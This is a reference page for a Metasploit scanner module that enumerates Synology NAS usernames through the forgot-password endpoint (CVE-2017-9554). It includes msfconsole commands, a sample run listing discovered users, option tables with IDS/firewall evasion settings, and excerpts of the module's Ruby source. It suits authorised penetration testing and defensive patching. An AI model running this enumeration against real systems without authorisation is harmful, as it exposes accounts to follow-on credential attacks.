Synology Forget Password User Enumeration Scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/synology_forget_passwd_user_enum metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Synology Forget Password User Enumeration Scanner
Module: auxiliary/scanner/http/synology_forget_passwd_user_enum
Source code: modules/auxiliary/scanner/http/synology_forget_passwd_user_enum.rb
Disclosure date: 2011-01-05
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 5000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-9554
This module attempts to enumerate users on the Synology NAS by sending GET requests for the forgot password URL. The Synology NAS will respond differently if a user is present or not. These count as login attempts, and the default is 10 logins in 5min to get a permanent block. Set delay accordingly to avoid this, as default is permanent. Vulnerable DSMs are: DSM 6.1 < 6.1.3-15152 DSM 6.0 < 6.0.3-8754-4 DSM 5.2 < 5.2-5967-04
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/synology_forget_passwd_user_enum
msf auxiliary(synology_forget_passwd_user_enum) > show options
... show and set options ...
msf auxiliary(synology_forget_passwd_user_enum) > set RHOSTS ip-range
msf auxiliary(synology_forget_passwd_user_enum) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(synology_forget_passwd_user_enum) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(synology_forget_passwd_user_enum) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(synology_forget_passwd_user_enum) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module attempts to enumerate users on the Synology NAS by sending GET requests for the forgot password URL. The Synology NAS will respond differently if a user is present or not. These count as login attempts, and the default is 10 logins in 5min to get a permanent block. Set delay accordingly to avoid this, as default is permanent.
Vulnerable DSMs are: * DSM 6.1 < 6.1.3-15152 * DSM 6.0 < 6.0.3-8754-4 * DSM 5.2 < 5.2-5967-04
Enumeration is case insensitive.
To turn off Auto Block: Control Panel (Advanced Mode) > Security > Auto Block.
To unblock: Control Panel (Advanced Mode) > Security > Auto Block > Allow/Block List > Block List.
Responses
The server responds with a JSON object and a 'msg' key. The values translate as:
- msg 1 - means user can login to GUI
- msg 2 - means user exists but no GUI login
- msg 3 - means feature disabled, or patched
- msg 4 - means no user
- msg 5 - means auto block is enabled and youre blocked. Default is 10 login attempts, and these
Verification Steps
- Install the application
- Start msfconsole
- Do:
use auxiliary/scanner/http/synology_forget_passwd_user_enum
- Do:
set rhosts [ip]
- Do:
set delay [seconds]
- You should hopefully find some usernames
Options
Delay
The delay in seconds between enumeration attempts. Default lockout policy is 10 attempts in 5min,
so this should avoid the lockout. Default is 36
.
USER_LIST
The username list to use, defaults to data/wordlists/unix_users.txt
Scenarios
DS412+ with DSM 5.2-5644 with auto block turned off
[*] Processing syn_login.rb for ERB directives.
resource (syn_login.rb)> use auxiliary/scanner/http/synology_forget_passwd_user_enum
resource (syn_login.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (syn_login.rb)> set delay 0
delay => 0
resource (syn_login.rb)> run
[+] admin - admin group
[+] avahi - no mail or no priviege
[+] ftp - no mail or no priviege
[+] guest - no mail or no priviege
[+] lp - no mail or no priviege
[+] mysql - no mail or no priviege
[+] nobody - no mail or no priviege
[+] ntp - no mail or no priviege
[+] postfix - no mail or no priviege
[+] postgres - no mail or no priviege
[+] root - no mail or no priviege
[+] ROOT - no mail or no priviege
[+] http://2.2.2.2:5000/ - Users found: ROOT, admin, avahi, ftp, guest, lp, mysql, nobody, ntp, postfix, postgres, root
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/synology_forget_passwd_user_enum auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/synology_forget_passwd_user_enum
msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show info
Name: Synology Forget Password User Enumeration Scanner
Module: auxiliary/scanner/http/synology_forget_passwd_user_enum
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2011-01-05
Provided by:
h00die
Steve Kaun
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 36 yes Seconds delay to add to avoid lockout
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to users Synology Web Interface
THREADS 1 yes The number of concurrent threads (max one per host)
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt no File containing users, one per line
VHOST no HTTP server virtual host
Description:
This module attempts to enumerate users on the Synology NAS by
sending GET requests for the forgot password URL. The Synology NAS
will respond differently if a user is present or not. These count as
login attempts, and the default is 10 logins in 5min to get a
permanent block. Set delay accordingly to avoid this, as default is
permanent. Vulnerable DSMs are: DSM 6.1 < 6.1.3-15152 DSM 6.0 <
6.0.3-8754-4 DSM 5.2 < 5.2-5967-04
References:
https://www.exploit-db.com/exploits/43455
https://nvd.nist.gov/vuln/detail/CVE-2017-9554
https://www.synology.com/en-global/security/advisory/Synology_SA_17_29_DSM
Module Options
This is a complete list of options available in the scanner/http/synology_forget_passwd_user_enum auxiliary module:
msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show options
Module options (auxiliary/scanner/http/synology_forget_passwd_user_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 36 yes Seconds delay to add to avoid lockout
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The path to users Synology Web Interface
THREADS 1 yes The number of concurrent threads (max one per host)
USER_FILE /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt no File containing users, one per line
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/synology_forget_passwd_user_enum auxiliary module:
msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show advanced
Module advanced options (auxiliary/scanner/http/synology_forget_passwd_user_enum):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/synology_forget_passwd_user_enum module can do:
msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/synology_forget_passwd_user_enum auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/synology_forget_passwd_user_enum) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
USER_FILE can not be read
Here is a relevant code snippet related to the "USER_FILE can not be read" error message:
55:
56: def run_host(_ip)
57: @users_found = {}
58:
59: unless File.readable?(datastore['USER_FILE'])
60: fail_with(Failure::BadConfig, 'USER_FILE can not be read')
61: end
62: users = File.new(datastore['USER_FILE']).read.split
63: users.each do |user|
64: do_enum(user)
65: vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt
<FULL_URI> - No users found.
Here is a relevant code snippet related to the "<FULL_URI> - No users found." error message:
65: vprint_status("Delaying #{datastore['DELAY']}s") if datastore['DELAY'] > 0 # dont flood the prompt
66: Rex.sleep(datastore['DELAY'])
67: end
68:
69: if @users_found.empty?
70: print_status("#{full_uri} - No users found.")
71: else
72: print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(', ')}")
73: report_note(
74: host: rhost,
75: port: rport,
Connection to host refused
Here is a relevant code snippet related to the "Connection to host refused" error message:
114: 'vars_get' => {
115: 'user' => username
116: }
117: })
118: unless res
119: print_error('Connection to host refused')
120: fail_with(Failure::Unreachable, 'Connection to host refused')
121: end
122: j = res.get_json_document
123: if j['msg'] == 5
124: fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
Connection to host refused
Here is a relevant code snippet related to the "Connection to host refused" error message:
115: 'user' => username
116: }
117: })
118: unless res
119: print_error('Connection to host refused')
120: fail_with(Failure::Unreachable, 'Connection to host refused')
121: end
122: j = res.get_json_document
123: if j['msg'] == 5
124: fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
125: end
You have been locked out. Retry later or increase DELAY
Here is a relevant code snippet related to the "You have been locked out. Retry later or increase DELAY" error message:
119: print_error('Connection to host refused')
120: fail_with(Failure::Unreachable, 'Connection to host refused')
121: end
122: j = res.get_json_document
123: if j['msg'] == 5
124: fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
125: end
126: if j['msg'] == 3
127: fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
128: end
129: if j['msg'] == 2 || j['msg'] == 1
Device patched or feature disabled
Here is a relevant code snippet related to the "Device patched or feature disabled" error message:
122: j = res.get_json_document
123: if j['msg'] == 5
124: fail_with(Failure::Disconnected, 'You have been locked out. Retry later or increase DELAY')
125: end
126: if j['msg'] == 3
127: fail_with(Failure::UnexpectedReply, 'Device patched or feature disabled')
128: end
129: if j['msg'] == 2 || j['msg'] == 1
130: print_good("#{username} - #{j['info']}")
131: @users_found[username] = :reported
132: report_cred(
Connection to host refused
Here is a relevant code snippet related to the "Connection to host refused" error message:
141: # msg 3 means not supported/disabled/patched
142: # msg 4 means no user
143: # msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
144: # count as lgin attempts.
145: rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
146: print_error('Connection to host refused')
147: fail_with(Failure::Unreachable, 'Connection to host refused')
148: rescue Timeout::Error, Errno::EPIPE
149: fail_with(Failure::Unreachable, 'Connection issue')
150: end
151: end
Connection to host refused
Here is a relevant code snippet related to the "Connection to host refused" error message:
141: # msg 3 means not supported/disabled/patched
142: # msg 4 means no user
143: # msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
144: # count as lgin attempts.
145: rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
146: print_error('Connection to host refused')
147: fail_with(Failure::Unreachable, 'Connection to host refused')
148: rescue Timeout::Error, Errno::EPIPE
149: fail_with(Failure::Unreachable, 'Connection issue')
150: end
151: end
Connection issue
Here is a relevant code snippet related to the "Connection issue" error message:
141: # msg 3 means not supported/disabled/patched
142: # msg 4 means no user
143: # msg 5 means auto block is enabled and youre blocked. Default is 10 login attempts, and these
144: # count as lgin attempts.
145: rescue Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError
146: print_error('Connection to host refused')
147: fail_with(Failure::Unreachable, 'Connection to host refused')
148: rescue Timeout::Error, Errno::EPIPE
149: fail_with(Failure::Unreachable, 'Connection issue')
150: end
151: end
Go back to menu.
Related Pull Requests
- #15214 Merged Pull Request: Remove title whitespace in synology_forget_passwd_user_enum.rb
- #15192 Merged Pull Request: Enforce Style/RedundantBegin for new modules
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13498 Merged Pull Request: CVE-2017-9554 Synology Username Enumerator
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/synology_dsm_sliceupload_exec_noauth
- exploit/linux/http/synology_dsm_smart_exec_auth
- auxiliary/scanner/http/bmc_trackit_passwd_reset
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/http/dlink_user_agent_backdoor
- auxiliary/scanner/http/drupal_views_user_enum
- auxiliary/scanner/http/gitlab_graphql_user_enum
- auxiliary/scanner/http/gitlab_user_enum
- auxiliary/scanner/http/jira_user_enum
- auxiliary/scanner/http/manageengine_deviceexpert_user_creds
- auxiliary/scanner/http/sap_businessobjects_user_brute
- auxiliary/scanner/http/sap_businessobjects_user_brute_web
- auxiliary/scanner/http/sap_businessobjects_user_enum
- auxiliary/scanner/http/squiz_matrix_user_enum
- auxiliary/scanner/http/surgenews_user_creds
- auxiliary/scanner/http/cisco_ironport_enum
- auxiliary/scanner/http/enum_wayback
- auxiliary/scanner/http/influxdb_enum
- auxiliary/scanner/http/infovista_enum
- auxiliary/scanner/http/jenkins_enum
- auxiliary/scanner/http/ntlm_info_enumeration
- auxiliary/scanner/http/radware_appdirector_enum
- auxiliary/scanner/http/rfcode_reader_enum
- auxiliary/scanner/http/sap_businessobjects_version_enum
- auxiliary/scanner/http/sentry_cdu_enum
- auxiliary/scanner/http/sevone_enum
- auxiliary/scanner/http/tomcat_enum
- auxiliary/scanner/http/wordpress_login_enum
- exploit/linux/http/efw_chpasswd_exec
- exploit/linux/http/piranha_passwd_exec
- exploit/linux/http/qnap_qcenter_change_passwd_exec
- exploit/unix/ssh/tectia_passwd_changereq
- post/osx/gather/apfs_encrypted_volume_passwd
Authors
- h00die
- Steve Kaun
Version
This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.